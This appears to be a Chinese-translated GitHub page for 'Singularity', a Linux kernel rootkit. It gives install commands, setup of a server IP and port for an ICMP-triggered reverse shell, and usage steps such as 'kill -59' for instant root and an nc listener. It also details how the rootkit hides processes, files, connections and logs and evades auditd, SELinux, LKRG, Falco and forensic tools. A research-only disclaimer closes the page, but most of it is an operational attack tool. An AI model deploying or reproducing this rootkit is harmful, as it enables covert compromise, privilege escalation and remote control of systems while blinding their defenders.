MatheuZSecurity/Singularity

GitHub: MatheuZSecurity/Singularity

专为现代 Linux 6.x 内核设计的隐蔽型 Rootkit,具备绕过 eBPF 安全工具和 LKRG 的高级规避能力。

Stars: 1485 | Forks: 163

# Singularity - 隐蔽的 Linux 内核 Rootkit Singularity Rootkit **Singularity** 是一个强大的 Linux 内核模块 (LKM) rootkit,专为现代 6.x 内核设计。它通过 ftrace 基础设施进行高级系统调用挂钩,提供全面的隐蔽能力。 **完整研究文章(旧版本)**: [Singularity: A Final Boss Linux Kernel Rootkit](https://blog.kyntra.io/Singularity-A-final-boss-linux-kernel-rootkit) **EDR 规避案例研究**: [Bypassing Elastic EDR with Singularity](https://matheuzsecurity.github.io/hacking/bypassing-elastic/) **POC 视频: Singularity vs eBPF 安全工具**: [Singularity vs eBPF security tools](https://www.youtube.com/watch?v=ByEp137w3Ks) **使用 Singularity hooks 突破 eBPF 安全机制**: [Breaking eBPF](https://matheuzsecurity.github.io/hacking/ebpf-security-tools-hacking/) ## 什么是 Singularity? Singularity 是一个在内核级运行的复杂 rootkit,提供: - **进程隐藏**:使任何进程对系统完全不可见 - **文件与目录隐藏**:使用模式匹配隐藏文件 - **网络隐蔽**:隐藏 TCP/UDP 连接、端口和 conntrack 条目 - **权限提升**:基于信号的即时 root 权限获取 - **日志清洗**:实时过滤内核日志和系统日志 - **自我隐藏**:从模块列表和系统监控中移除自身 - **远程访问**:ICMP 触发的反向 Shell,自动隐藏 - **反检测**:规避基于 eBPF 的运行时安全工具(Falco, Tracee),绕过 Linux Kernel Runtime Guard (LKRG),并防止 io_uring 绕过尝试 - **审计规避**:在 netlink 层级丢弃隐藏进程的审计消息,带有统计跟踪和 socket inode 过滤 - **内存取证规避**:过滤 /proc/kcore, /proc/kallsyms, /proc/vmallocinfo - **Cgroup 过滤**:从 cgroup.procs 中过滤隐藏的 PID - **Syslog 规避**:挂钩 do_syslog 以过滤 klogctl() 内核环形缓冲区访问 - **Debugfs 规避**:过滤 debugfs 等读取原始块设备工具的输出 - **Conntrack 过滤**:从 /proc/net/nf_conntrack 和 netlink SOCK_DIAG/NETFILTER 查询中隐藏连接 - **SELinux 规避**:ICMP 触发时自动绕过 SELinux enforcing 模式 - **LKRG 绕过**:规避 Linux Kernel Runtime Guard 检测机制 - **eBPF 安全绕过**:从基于 eBPF 的运行时安全工具(Falco, Tracee)中隐藏进程 ## 功能特性 - 基于信号的权限提升 (kill -59) - 从 /proc 和监控工具完全隐藏进程 - 基于模式的文件和目录系统隐藏 - 从 netstat, ss, conntrack 和数据包分析器中隐藏网络连接 - 高级 netlink 过滤 (SOCK_DIAG, NETFILTER/conntrack 消息) - 针对 dmesg, journalctl 和 klogctl 的实时内核日志过滤 - 从 lsmod 和 /sys/module 自我隐藏模块 - 自动内核污点标志标准化 - BPF 数据过滤以防止基于 eBPF 的检测 - 针对 io_uring 异步 I/O 绕过的保护 - 针对内核消息和系统日志的日志掩码 - 规避标准 rootkit 检测器 (unhide, chkrootkit, rkhunter) - 通过 tracepoint 挂钩自动跟踪和隐藏子进程 - 多架构支持 (x64 + ia32) - 带有原始套接字保护的网络数据包级过滤 - 防止所有文件 I/O 变体 (read, write, splice, sendfile, tee, copy_file_range) - 带有统计跟踪的 Netlink 级审计消息过滤,以规避 auditd 检测 - 用于全面网络隐藏的 Socket inode 跟踪 - Cgroup PID 过滤以防止通过 `/sys/fs/cgroup/*/cgroup.procs` 检测 - TaskStats netlink 阻断以防止 PID 枚举 - /proc/kcore 过滤以规避内存取证工具 (Volatility, crash, gdb) - do_syslog 挂钩以过滤 klogctl() 并防止内核环形缓冲区泄露 - 块设备输出过滤以规避 debugfs 和类似的磁盘取证工具 - 通过 write 挂钩过滤 journalctl -k 输出 - 针对 ICMP 触发 Shell 的 SELinux enforcing 模式绕过能力 - 针对隐藏进程的 LKRG 完整性检查绕过 - 通过 BPF ringbuffer 和 perf event 拦截隐藏 Falco 事件 ## 安装 ### 前置条件 - Linux kernel 6.x - 当前运行内核的 Kernel headers - GCC 和 Make - Root 权限 ### 快速安装 ``` cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh sudo bash scripts/x.sh cd .. ``` 就是这样。该模块会自动: - 从 lsmod, /proc/modules, /sys/module 隐藏自身 - 清除内核污点标志 - 从 dmesg, journalctl -k, klogctl 过滤敏感字符串 - 开始保护你的隐藏文件和进程 ### 重要说明 **模块加载后会自动隐藏自身** **没有卸载功能 - 需要重启才能移除** **请先在虚拟机中测试 - 不重启无法移除** ## 配置 ### 设置你的服务器 IP 和端口 **编辑 `include/core.h`:** ``` #define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP #define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed ``` **编辑 `modules/icmp.c`:** ``` #define SRV_PORT "8081" // Change this to your desired port ``` **编辑 `modules/bpf_hook.c`:** ``` #define HIDDEN_PORT 8081 // Must match SRV_PORT ``` **编辑 `modules/hiding_tcp.c`:** ``` #define PORT 8081 // Must match SRV_PORT ``` **重要**:所有端口定义必须匹配,才能实现正确的网络隐藏和 ICMP 反向 Shell 功能。 ## 使用方法 ### 隐藏进程 ``` # 隐藏当前 shell kill -59 $$ # 隐藏特定进程 kill -59 ``` 进程将对 ps, top, htop, /proc 和所有监控工具不可见。所有子进程会被自动跟踪和隐藏。

### 隐藏文件和目录 匹配你配置模式的文件会被自动隐藏: ``` mkdir singularity echo "secret" > singularity/data.txt # 对 ls, find, locate 不可见 ls -la | grep singularity # (无输出) # 但你仍然可以访问它 cat singularity/data.txt # secret # 出于安全原因 cd 被阻止 cd singularity # bash: cd: singularity: No such file or directory ```

### 获取 Root 权限 **基于信号的方法:** ``` kill -59 $$ id # uid=0(root) ```

### 隐藏网络连接 你配置端口(默认:8081)上的连接会被自动隐藏: ``` nc -lvnp 8081 # 对所有监控不可见 ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output) # 甚至高级 netlink 查询也被过滤 ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output) ``` 数据包在原始套接字层 被丢弃,并从以下位置隐藏: - /proc/net/* 接口 (tcp, tcp6, udp, udp6) - /proc/net/nf_conntrack - Netlink SOCK_DIAG 查询(由 ss, lsof 使用) - Netlink NETFILTER/conntrack 消息(由 conntrack 工具使用)

### ICMP 反向 Shell 远程触发隐藏的反向 Shell,并自动绕过 SELinux: **1. 启动监听器:** ``` nc -lvnp 8081 # Use your configured port ``` **2. 发送 ICMP 触发器:** ``` sudo python3 scripts/trigger.py ``` **3. 接收 root shell**(自动隐藏所有子进程,如果 SELinux enforcing 模式处于活动状态则自动绕过)

## 保护机制 ### Ftrace 控制保护 所有禁用 ftrace 的尝试都会被静默拦截和阻止: ``` echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing ``` 受保护的系统调用:write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter(带有智能的每 PID 缓存) ### BPF Syscall 过滤 bpf_hook.c 模块实现了一个针对基于 eBPF 安全工具的复杂反检测系统。它没有完全阻塞 BPF 系统调用(这会留下检测指纹),而是在内核级别选择性地过滤数据,使隐藏的进程和连接对 eBPF 程序不可见。 **策略**:拦截 eBPF 程序使用的数据收集和报告函数,而不是 BPF 系统调用本身。这允许合法的 eBPF 工具正常运行,同时防止它们看到隐藏的资源。 **受保护的资源**: - 隐藏进程及其整个进程树(最多 10 个父级) - 配置端口(默认:8081)上或连接到配置 IP 地址的网络连接 - 与隐藏进程关联的 Socket inode **拦截点**: - 迭代器执行(进程/socket 枚举) - Ringbuffer 操作(向用户空间提交事件) - BPF map 操作(PID 查找和插入) - Perf event 输出(传统的 eBPF 事件交付) - Seq file 写入(输出格式化) - 程序执行(基于上下文的过滤) 这种方法可以击败 eBPF 安全工具,而不会触发因完全阻塞 BPF 操作而产生的警报。 ### io_uring 保护 针对 ftrace_enabled 和 tracing_on 尝试中的 io_uring 绕过的保护,带有智能缓存(每个 PID 1 秒缓存,以防止重复的进程扫描并减少开销) ### 日志清洗 从所有内核日志接口实时过滤敏感字符串: | 接口 | 挂钩 | 状态 | |-----------|------|--------| | `dmesg` | read hook on /proc/kmsg | Filtered | | `journalctl -k` | write hook (output filtering) | Filtered | | `klogctl()` / `syslog()` | do_syslog hook | Filtered | | `/sys/kernel/debug/tracing/*` | read hook | Filtered | | `/var/log/kern.log`, `syslog`, `auth.log` | read hook | Filtered | | `/proc/kallsyms`, `/proc/kcore`, `/proc/vmallocinfo` | read hook | Filtered | | `/proc/net/nf_conntrack` | read hook | Filtered | 过滤的关键词:taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove **注意**:隐藏 PID 的审计消息在 netlink 级别被丢弃,并带有统计跟踪(get_blocked_audit_count, get_total_audit_count) ### 磁盘取证规避 Singularity 挂钩 write 系统调用以检测和过滤磁盘取证工具的输出: **工作原理:** 1. 检测进程是否打开了块设备(`/dev/sda`, `/dev/nvme0n1` 等) 2. 检测 debugfs 风格的输出模式(inode 列表,文件系统元数据) 3. 就地清洗隐藏模式(用空格替换以保持缓冲区大小/校验和) ``` # 隐藏文件即使对原始磁盘分析也不可见 debugfs /dev/sda3 -R 'ls -l /home/user/singularity' # ("singularity" 所在位置显示为空白) # 输出缓冲区中的模式已被过滤 # Checksums 保持有效,无损坏 ``` **检测的模式:** - `debugfs:` 前缀 - 带括号的 Inode 列表 - `Inode count:`, `Block count:`, `Filesystem volume name:` - `Filesystem UUID:`, `e2fsck`, `Inode:` ### 进程隐藏实现 从系统调用和内核接口完全隐藏: - /proc/[pid]/* (openat, readlinkat 被阻塞) - getdents, getdents64 (目录列表被过滤) - stat, lstat, statx, newfstatat (元数据被隐藏) - kill with signal 0 (返回 ESRCH) - getsid, getpgid, getpgrp (返回 ESRCH) - sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (返回 ESRCH) - getpriority (返回 ESRCH) - sysinfo (进程计数已调整) - pidfd_open (返回 ESRCH) - TaskStats netlink 查询 (返回 ESRCH) - Cgroup PIDs 从 cgroup.procs 中过滤 子进程通过 sched_process_fork tracepoint 挂钩自动跟踪。 ### LKRG 绕过 Singularity 实现了针对 Linux Kernel Runtime Guard 的全面规避: **绕过的检查:** - 进程凭证验证 (p_cmp_creds) - 任务结构完整性 (p_cmp_tasks) - 控制流完整性验证 (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi) - 内核完整性检查 (p_check_integrity) - 漏洞利用检测子系统 (p_exploit_detection_init) - 用户模式辅助跟踪 (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry) - 任务转储和枚举 (p_dump_task_f, ed_task_add) - Kprobe ftrace 处理程序拦截 **特性:** - 自动 LKRG 检测和挂钩安装 - 进程谱系验证(隐藏整个进程树,深达 64 层) - 用于反向 Shell 操作的 UMH 绕过 - 用于检测 LKRG 加载的模块通知系统 隐藏的进程对所有 LKRG 完整性验证机制不可见。 ### Falco 绕过 Singularity 实现了一个全面的反 EDR 防御系统,防止基于 eBPF 的安全工具检测隐藏的进程和网络连接。该保护通过拦截 eBPF 程序用于收集和报告数据的内核函数来工作。 **防范对象:** - Falco (基于事件的运行时安全) - Tracee (安全追踪) - 带有 BPF 后端的 bpftool 和 ss **多层拦截:** 1. **器过滤** (bpf_iter_run_prog) - 从 TCP/UDP 迭代器中过滤隐藏端口的 socket - 从任务迭代器中隐藏进程及其子进程 - 防止通过 `ss` 和进程枚举工具检测 2. **Ringbuffer 事件阻塞** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit) - 通过分析头格式检测 Falco 事件结构 - 阻塞隐藏 PID 的事件分配、提交和输出 - 防止系统调用事件到达 Falco 用户空间代理 3. **BPF map 操作** (bpf_map_lookup_elem, bpf_map_update_elem) - 当 eBPF 在 map 中查找隐藏 PID 时返回 NULL - 静默丢弃键为隐藏 PID 的 map 插入 - 防止 eBPF 安全工具跟踪隐藏进程 4. **Perf 事件抑制** (perf_event_output, perf_trace_run_bpf_submit) - 阻塞来自隐藏进程的基于 perf 的事件提交 - 防止传统的 eBPF 工具接收跟踪数据 5. **Seq file 过滤** (bpf_seq_write, bpf_seq_printf) - 在写入之前扫描输出数据中的隐藏 PID - 防止通过 eBPF 迭代器使用的 /proc 接口泄露 6. **程序执行控制** (__bpf_prog_run) - 在隐藏进程上下文中运行时阻塞 eBPF 程序执行 - 防止任何基于 eBPF 的隐藏进程内部监控 **Socket 和连接隐藏:** - 缓存隐藏的 IP 地址以提高性能 - 基于配置的端口和配置的 IP 过滤 socket - 隐藏 IPv4 和 IPv6 连接 - 在迭代器级别工作(在数据到达 eBPF 程序之前) **进程谱系跟踪:** - 跟踪父进程链深达 10 层 - 自动隐藏隐藏进程的所有后代 - 确保隐藏后生成的子进程保持不可见 隐藏的进程和连接不会生成任何对 eBPF 安全工具可见的事件。 ## 已绕过的安全工具 **进程监控**:ps, top, htop, atop, pidof **文件系统**:ls, find, locate, stat, lstat, readlink, tree **磁盘取证**:debugfs, e2fsck (输出通过 write 挂钩过滤) **内存取证**:Volatility, crash, gdb (通过 /proc/kcore 过滤) **网络**:netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/* **日志与追踪**:dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf **Rootkit 检测器**:unhide, chkrootkit, rkhunter, OSSEC **模块检测**:lsmod, modinfo, /sys/module, /proc/modules, kmod **内核安全**:LKRG (Linux Kernel Runtime Guard) **eBPF 安全工具**: - Falco (运行时安全监控) - Tracee (安全追踪) - bpftrace, bpftool (用于监控时) **EDR/监控**:基于 io_uring 的监控器,部分 Linux EDR 解决方案,auditd ## Syscall 挂钩 | Syscall/Function | Module | Purpose | |---------|--------|---------| | getdents, getdents64 | hiding_directory.c | Filter directory entries, hide PIDs | | stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Hide file metadata, adjust nlink | | getpriority | hiding_stat.c | Hide priority queries for hidden PIDs | | openat | open.c | Block access to hidden /proc/[pid] | | readlinkat | hiding_readlink.c | Block symlink resolution | | chdir | hiding_chdir.c | Prevent cd into hidden dirs | | read, pread64, readv, preadv | clear_taint_dmesg.c | Filter kernel logs, kcore, kallsyms, cgroup PIDs, nf_conntrack | | do_syslog | clear_taint_dmesg.c | Filter klogctl()/syslog() kernel ring buffer | | sched_debug_show | clear_taint_dmesg.c | Filter scheduler debug output | | write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Block ftrace control + filter disk forensics + filter journalctl output | | sendfile, sendfile64, copy_file_range | hooks_write.c | Block file copies to protected files | | splice, vmsplice, tee | hooks_write.c | Block pipe-based writes to protected files | | io_uring_enter | hooks_write.c | Block async I/O bypass with PID caching | | kill | become_root.c | Root trigger + hide processes | | getsid, getpgid, getpgrp | become_root.c | Returns ESRCH for hidden PIDs | | sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Returns ESRCH for hidden PIDs | | sysinfo | become_root.c | Adjusts process count | | pidfd_open | become_root.c | Returns ESRCH for hidden PIDs | | tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Hide TCP connections from /proc/net | | udp4_seq_show, udp6_seq_show | hiding_tcp.c | Hide UDP connections from /proc/net | | tpacket_rcv | hiding_tcp.c | Drop packets at raw socket level | | recvmsg, recvfrom | audit.c | Filter netlink SOCK_DIAG and NETFILTER messages | | netlink_unicast | audit.c | Drop audit messages for hidden PIDs | | audit_log_start | audit.c | Block audit log creation for hidden processes | | bpf | bpf_hook.c | Filter eBPF operations for hidden PIDs | | bpf_iter_run_prog | bpf_hook.c | Hide hidden processes from BPF iterators | | bpf_seq_write, bpf_seq_printf | bpf_hook.c | Filter BPF seq file output | | bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Filter Falco events via ringbuffer | | bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Filter BPF map operations | | perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Filter perf events for hidden processes | | __bpf_prog_run | bpf_hook.c | Filter BPF program execution | | icmp_rcv | icmp.c | ICMP-triggered reverse shell with SELinux bypass | | taskstats_user_cmd | task.c | Block TaskStats queries for hidden PIDs | | sched_process_fork (tracepoint) | trace.c | Track child processes | | kprobe_ftrace_handler | lkrg_bypass.c | Bypass LKRG kprobe detection | | p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Bypass LKRG credential checks | | p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Bypass LKRG CFI validation | | p_check_integrity | lkrg_bypass.c | Bypass LKRG integrity checks | | p_dump_task_f, ed_task_add | lkrg_bypass.c | Hide from LKRG task enumeration | | p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Bypass LKRG UMH tracking | | p_exploit_detection_init | lkrg_bypass.c | Bypass LKRG exploit detection | | tainted_mask (kthread) | reset_tainted.c | Clear kernel taint flags | | module_hide_current | hide_module.c | Remove from module lists and sysfs | **多架构支持**:x86_64 (`__x64_sys_*`) 和 ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`) ## 已测试的内核版本 | Kernel Version | Distribution | Status | Notes | |---------------|--------------|--------|-------| | 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Stable | Primary development environment | | 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Stable | RHEL-based kernel | | 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Stable | Debian kernel | | 6.17.8-300.fc43.x86_64 | Fedora 43 | Stable | SELinux enforcing bypass validated | | 6.17.0-8-generic | Ubuntu 25.10 | Stable | Newer generic kernel, fully functional | | 6.14.0-37-generic | Ubuntu 24.04 | Stable | LKRG and Falco bypass validated | | 6.12.25-amd64 | Kali Linux | Stable | Kali 6.12.25-1kali1 | ## 剧情反转 对某些人来说不幸的是…… 即使有了所有这些过滤器、保护和挂钩,仍然有办法检测到这个 rootkit。 但如果你是一名优秀的取证分析师、DFIR 专业人士或恶意软件研究员,我会让你自己弄清楚。 我不会修补这个问题,因为那样会更 OP ;) ## 致谢 **Singularity** 由 **MatheuZSecurity** (Matheus Alves) 创建 - LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/) - Discord: `kprobe` **加入 Rootkit 研究人员**:Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7) ### 代码参考 - [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main) - [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158) - [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit) ### 研究灵感 - [KoviD](https://github.com/carloslack/KoviD) - [Basilisk](https://github.com/lil-skelly/basilisk) - [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine) ## 贡献 - 提交 Pull Request 进行改进 - 通过 GitHub issues 报告 Bug - 建议新的规避技术 - 分享检测方法(用于研究) **发现了 Bug?** 提交 issue 或者在 Discord 上联系我:`kprobe` **仅用于教育和研究目的** Singularity 是作为一个研究项目创建的,旨在探索内核级隐身技术的极限。目标是为了回答一个问题:**“如果一个 rootkit 成功渗透并加载到系统中,它能隐藏到什么程度?”** 这个项目的存在是为了: - 推动进攻性安全研究的边界 - 帮助防御者了解他们面临的对手 - 为内核内部结构和规避技术提供学习资源 - 为安全社区的知识库做出贡献 **我对任何滥用本软件的行为不承担责任。** 如果你选择将 Singularity 用于恶意目的,后果自负。此工具按“原样”提供,仅用于研究、教育和授权的安全测试。 仅在你拥有或有明确书面许可进行测试的系统上测试。未经授权访问计算机系统在大多数司法管辖区都是违法的。 **做一个研究者,而不是罪犯。**
标签:6.x内核, Cgroup过滤, DNS 反向解析, Docker镜像, eBPF绕过, EDR逃逸, ftrace, ICMP后门, Linux内核Rootkit, LKM, LKRG绕过, Root权限提升, Syscall Hooking, 内核攻防, 内核级隐藏, 反向Shell, 子域名变形, 审计绕过, 客户端加密, 客户端加密, 文件隐藏, 日志清洗, 特权升级, 现代内核安全, 私有化部署, 系统调用Hook, 网络可见性, 网络连接隐藏, 进程隐藏, 防御规避